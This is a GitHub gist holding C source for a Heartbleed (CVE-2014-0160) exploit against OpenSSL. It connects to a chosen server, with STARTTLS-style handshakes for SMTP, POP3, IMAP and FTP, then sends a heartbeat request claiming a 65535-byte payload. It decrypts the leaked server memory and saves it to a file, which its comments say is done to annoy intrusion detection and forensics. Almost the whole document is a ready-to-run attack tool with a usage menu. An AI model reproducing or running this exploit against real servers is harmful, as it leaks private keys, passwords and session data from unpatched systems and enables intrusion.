Created
April 11, 2014 12:23
-
-
Save esrever10/10464073 to your computer and use it in GitHub Desktop.
TLS+SMTPS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* CVE-2014-0160 heartbleed OpenSSL information leak exploit | |
* ========================================================= | |
* This exploit uses OpenSSL to create an encrypted connection | |
* and trigger the heartbleed leak. The leaked information is | |
* returned encrypted and is then decrypted, decompressed and | |
* wrote to a file to annoy IDS/forensics. | |
* | |
* https://github.com/HackerFantastic/Public/blob/master/exploits/heartbleed.c | |
* https://raw.githubusercontent.com/decal/ssltest-stls/master/ssltest-stls.py | |
* | |
* [email protected] | |
* | |
*/ | |
#include <stdio.h> | |
#include <stdint.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <getopt.h> | |
#include <signal.h> | |
#include <netdb.h> | |
#include <fcntl.h> | |
#include <sys/socket.h> | |
#include <sys/types.h> | |
#include <netinet/in.h> | |
#include <inttypes.h> | |
#include <openssl/bio.h> | |
#include <openssl/ssl.h> | |
#include <openssl/err.h> | |
#include <openssl/evp.h> | |
#include <openssl/tls1.h> | |
#include <openssl/rand.h> | |
#include <openssl/buffer.h> | |
#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \ | |
(((unsigned int)(c[1])) )),c+=2) | |
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \ | |
c[1]=(unsigned char)(((s) )&0xff)),c+=2) | |
typedef struct { | |
int socket; | |
SSL *sslHandle; | |
SSL_CTX *sslContext; | |
} connection; | |
typedef struct { | |
unsigned char type; | |
short version; | |
unsigned int length; | |
unsigned char hbtype; | |
unsigned int payload_length; | |
void* payload; | |
} heartbeat; | |
int tcp_connect(char* server,int port){ | |
int sd,ret; | |
struct hostent *host; | |
struct sockaddr_in sa; | |
host = gethostbyname(server); | |
sd = socket(AF_INET, SOCK_STREAM, 0); | |
if(sd==-1){ | |
printf("[!] cannot create socket\n"); | |
exit(0); | |
} | |
sa.sin_family = AF_INET; | |
sa.sin_port = htons(port); | |
sa.sin_addr = *((struct in_addr *) host->h_addr); | |
bzero(&(sa.sin_zero),8); | |
printf("[ connecting to %s %d/tcp\n",server,port); | |
ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr)); | |
if(ret==0){ | |
printf("[ connected to %s %d/tcp\n",server,port); | |
} | |
else{ | |
printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port); | |
exit(0); | |
} | |
return sd; | |
} | |
void ssl_init(){ | |
SSL_load_error_strings(); | |
SSL_library_init(); | |
OpenSSL_add_all_digests(); | |
OpenSSL_add_all_algorithms(); | |
OpenSSL_add_all_ciphers(); | |
} | |
connection* tls_connect(int sd){ | |
connection *c; | |
c = malloc(sizeof(connection)); | |
c->socket = sd; | |
c->sslHandle = NULL; | |
c->sslContext = NULL; | |
c->sslContext = SSL_CTX_new(TLSv1_client_method()); | |
if(c->sslContext==NULL) | |
ERR_print_errors_fp(stderr); | |
c->sslHandle = SSL_new(c->sslContext); | |
if(c->sslHandle==NULL) | |
ERR_print_errors_fp(stderr); | |
if(!SSL_set_fd(c->sslHandle,c->socket)) | |
ERR_print_errors_fp(stderr); | |
if(SSL_connect(c->sslHandle)!=1) | |
ERR_print_errors_fp(stderr); | |
if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || | |
c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){ | |
printf("[ warning: heartbeat extension is unsupported (try anyway)\n"); | |
} | |
return c; | |
} | |
int pre_cmd(int sd, int type){ | |
char buff[1024] = { 0 }; | |
// smtp | |
if(type==1){ | |
char *cmd1 = "EHLO openssl.client.net\r\n"; | |
char *cmd2 = "STARTTLS\r\n"; | |
sd = get_banner( sd ); | |
sd = send_cmd( sd, cmd1 ); | |
sd = send_cmd( sd, cmd2 ); | |
} | |
else if(type==2){ | |
char *cmd = "STLS\r\n"; | |
sd = get_banner( sd ); | |
sd = send_cmd(sd, cmd); | |
} | |
else if(type==3){ | |
char *cmd = "STARTTLS\r\n"; | |
sd = get_banner( sd ); | |
sd = send_cmd(sd, cmd); | |
} | |
else if(type==4){ | |
char *cmd = "AUTH TLS\r\n"; | |
sd = get_banner( sd ); | |
sd = send_cmd(sd, cmd); | |
} | |
return sd; | |
} | |
int get_banner( int sd ) | |
{ | |
char buff[10240] = { 0 }; | |
memset( (void*)buff, 0, sizeof(buff) ); | |
recv(sd, buff, sizeof(buff)-1, 0 ); | |
printf( "[ recv: %s\n", buff ); | |
return sd; | |
} | |
int send_cmd( int sd, char *cmd ) | |
{ | |
char buff[10240] = { 0 }; | |
send(sd, (void *)cmd, strlen(cmd), 0 ); | |
printf( "[ send: %s\n", cmd ); | |
memset( (void*)buff, 0, sizeof(buff) ); | |
recv(sd, buff, sizeof(buff)-1, 0 ); | |
printf( "[ recv: %s\n", buff ); | |
return sd; | |
} | |
void* heartbleed(connection *c){ | |
unsigned char *buf, *p; | |
int ret; | |
buf = OPENSSL_malloc(1 + 2); | |
p = buf; | |
*p++ = TLS1_HB_REQUEST; | |
s2n(0xffff,p); | |
printf("[ setting heartbeat payload_length to 65535 bytes\n"); | |
printf("[ <3 <3 <3 heart bleed <3 <3 <3 <3\n"); | |
ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3); | |
OPENSSL_free(buf); | |
printf( "[ exp send finished.\n" ); | |
return c; | |
} | |
void* sneakyleaky(connection *c,char* filename, int verbose){ | |
char *p; | |
int ssl_major,ssl_minor,al; | |
int enc_err,n,i; | |
SSL3_RECORD *rr; | |
SSL_SESSION *sess; | |
SSL* s; | |
unsigned char md[EVP_MAX_MD_SIZE]; | |
short version; | |
unsigned mac_size, orig_len; | |
size_t extra; | |
rr= &(c->sslHandle->s3->rrec); | |
sess=c->sslHandle->session; | |
s = c->sslHandle; | |
if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER) | |
extra=SSL3_RT_MAX_EXTRA; | |
else | |
extra=0; | |
if ((s->rstate != SSL_ST_READ_BODY) || | |
(s->packet_length < SSL3_RT_HEADER_LENGTH)) { | |
n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0); | |
if (n <= 0) | |
goto apple; | |
s->rstate=SSL_ST_READ_BODY; | |
p=s->packet; | |
rr->type= *(p++); | |
ssl_major= *(p++); | |
ssl_minor= *(p++); | |
version=(ssl_major<<8)|ssl_minor; | |
n2s(p,rr->length); | |
if(rr->type==24){ | |
printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length); | |
} | |
else{ | |
printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length); | |
s->packet_length=0; | |
goto apple; | |
} | |
} | |
if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){ | |
i=rr->length; | |
n=ssl3_read_n(s,i,i,1); | |
if (n <= 0) goto apple; | |
} | |
printf("[ decrypting and decompressing SSL packet\n"); | |
s->rstate=SSL_ST_READ_HEADER; | |
rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]); | |
rr->data=rr->input; | |
tls1_enc(s,0); | |
if(verbose==1){ | |
{ unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); } | |
printf("\n"); | |
} | |
if((sess != NULL) && | |
(s->enc_read_ctx != NULL) && | |
(EVP_MD_CTX_md(s->read_hash) != NULL)) | |
{ | |
unsigned char *mac = NULL; | |
unsigned char mac_tmp[EVP_MAX_MD_SIZE]; | |
mac_size=EVP_MD_CTX_size(s->read_hash); | |
OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE); | |
orig_len = rr->length+((unsigned int)rr->type>>8); | |
if(orig_len < mac_size || | |
(EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE && | |
orig_len < mac_size+1)){ | |
al=SSL_AD_DECODE_ERROR; | |
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT); | |
} | |
if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){ | |
mac = mac_tmp; | |
ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len); | |
rr->length -= mac_size; | |
} | |
else{ | |
rr->length -= mac_size; | |
mac = &rr->data[rr->length]; | |
} | |
i = tls1_mac(s,md,0); | |
if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0) | |
enc_err = -1; | |
if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size) | |
enc_err = -1; | |
} | |
if(enc_err < 0){ | |
al=SSL_AD_BAD_RECORD_MAC; | |
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC); | |
goto apple; | |
} | |
if(s->expand != NULL){ | |
if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) { | |
al=SSL_AD_RECORD_OVERFLOW; | |
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG); | |
goto apple; | |
} | |
if (!ssl3_do_uncompress(s)) { | |
al=SSL_AD_DECOMPRESSION_FAILURE; | |
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION); | |
goto apple; | |
} | |
} | |
if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) { | |
al=SSL_AD_RECORD_OVERFLOW; | |
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG); | |
goto apple; | |
} | |
rr->off=0; | |
s->packet_length=0; | |
printf("[ final record type=%d, length=%u\n", rr->type, rr->length); | |
int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700); | |
write(fd,s->s3->rrec.data,s->s3->rrec.length); | |
close(fd); | |
printf("[ wrote %d bytes to file '%s'\n",rr->length, filename); | |
printf("[ done.\n"); | |
exit(0); | |
apple: | |
printf("[ problem handling SSL record packet - wrong type?\n"); | |
} | |
void usage(){ | |
printf("[\n"); | |
printf("[ --server|-s <ip/dns> - the server to target\n"); | |
printf("[ --port|-p <port> - the port to target\n"); | |
printf("[ --file|-f <filename> - file to write data to\n"); | |
printf("[ --type|-t - select service type to try\n"); | |
printf("[ 0 = default using ssl tunnel, don't need STARTTLS, just like 443(https),465(smtps),995(pop3s),993(imaps)\n"); | |
printf("[ 1 = smtp, 25\n"); | |
printf("[ 2 = pop3, 110\n"); | |
printf("[ 3 = imap, 389\n"); | |
printf("[ 4 = ftp, 21\n"); | |
printf("[\n"); | |
printf("[ --verbose|-v - output leak to screen\n"); | |
printf("[ --help|-h - this output\n"); | |
printf("[\n"); | |
exit(0); | |
} | |
int main(int argc, char* argv[]){ | |
int ret, port, userc, index; | |
int type = 1, udp = 0, verbose = 0, bind = 0; | |
struct hostent *h; | |
connection* c; | |
char *host, *file; | |
int ihost = 0, iport = 0, ifile = 0, itype = 0; | |
printf("\n\n"); | |
printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n"); | |
printf("[ =============================================================\n"); | |
static struct option options[] = { | |
{"server", 1, 0, 's'}, | |
{"port", 1, 0, 'p'}, | |
{"file", 1, 0, 'f'}, | |
{"type", 1, 0, 't'}, | |
{"verbose", 0, 0, 'v'}, | |
{"help", 0, 0,'h'} | |
}; | |
while(userc != -1) { | |
userc = getopt_long(argc,argv,"s:p:f:t:vh",options,&index); | |
switch(userc) { | |
case -1: | |
break; | |
case 's': | |
if(ihost==0){ | |
ihost = 1; | |
h = gethostbyname(optarg); | |
if(h==NULL){ | |
printf("[!] FATAL: unknown host '%s'\n",optarg); | |
exit(1); | |
} | |
host = malloc(strlen(optarg) + 1); | |
sprintf(host,"%s",optarg); | |
} | |
break; | |
case 'p': | |
if(iport==0){ | |
port = atoi(optarg); | |
iport = 1; | |
} | |
break; | |
case 'f': | |
if(ifile==0){ | |
file = malloc(strlen(optarg) + 1); | |
sprintf(file,"%s",optarg); | |
ifile = 1; | |
} | |
break; | |
case 't': | |
if(itype==0){ | |
type = atoi(optarg); | |
itype = 1; | |
} | |
break; | |
case 'h': | |
usage(); | |
break; | |
case 'b': | |
if(ihost==0){ | |
ihost = 1; | |
host = malloc(strlen(optarg)+1); | |
sprintf(host,"%s",optarg); | |
bind = 1; | |
} | |
break; | |
case 'v': | |
verbose = 1; | |
break; | |
default: | |
break; | |
} | |
} | |
if(ihost==0||iport==0||ifile==0||itype==0){ | |
printf("[ try --help\n"); | |
exit(0); | |
} | |
ssl_init(); | |
ret = tcp_connect(host, port); | |
if(type!=0){ | |
pre_cmd(ret, type); | |
} | |
c = tls_connect(ret); | |
heartbleed(c); | |
sneakyleaky(c,file,verbose); | |
printf("\n\n"); | |
exit(0); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment